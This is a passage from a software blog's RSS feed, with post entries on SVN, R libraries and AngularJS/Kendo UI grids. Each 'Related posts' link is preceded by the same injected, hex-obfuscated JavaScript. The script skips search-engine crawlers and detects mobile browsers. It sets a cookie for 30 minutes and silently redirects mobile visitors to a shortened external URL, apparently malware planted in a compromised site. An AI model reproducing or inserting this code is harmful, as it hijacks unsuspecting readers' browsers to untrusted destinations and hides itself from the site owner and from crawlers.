)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/05/17/svn-ra_serf-compiled-serf-1-3-4-loaded-incompatible-1-2-1-library/" rel="bookmark" title="SVN: ra_serf was compiled for serf 1.3.4 but loaded an incompatible 1.2.1 library">SVN: ra_serf was compiled for serf 1.3.4 but loaded an incompatible 1.2.1 library </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2013/03/16/problems-with-svn-in-eclipse-on-mac-os-x-mountain-lion-10-8/" rel="bookmark" title="Problems with SVN in Eclipse on Mac OS X Mountain Lion (10.8)">Problems with SVN in Eclipse on Mac OS X Mountain Lion (10.8) </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2012/08/16/mac-os-x-svn-subversion-missing-in-mountain-lion-10-8/" rel="bookmark" title="Mac OS X: SVN (Subversion) missing in Mountain Lion (10.8)">Mac OS X: SVN (Subversion) missing in Mountain Lion (10.8) </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AngularJS and Kendo UI: Watchers for Grid and Tree List</title>
		<link>https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/</link>
					<comments>https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Tue, 29 May 2018 21:54:04 +0000</pubDate>
				<category><![CDATA[AngularJS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9047</guid>

					<description><![CDATA[<p>When you use the Kendo UI Grid or Tree List widgets in an AngularJS application, you will probably notice that with long grids/lists or with many columns, you&#8217;ll end up having quite a few watchers created (basically one watcher per cell). Unfortunately, it is not (yet) possible to use one time binding. The AngularJS documentation recommends keeping [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/">AngularJS and Kendo UI: Watchers for Grid and Tree List</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/02/24/angularjs-using-plupload-in-a-dialog/" rel="bookmark" title="AngularJS: Using Plupload in a dialog">AngularJS: Using Plupload in a dialog </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/04/21/angularjs-binding-html-code-with-ng-bind-html-and-sce-trustashtml/" rel="bookmark" title="AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml">AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 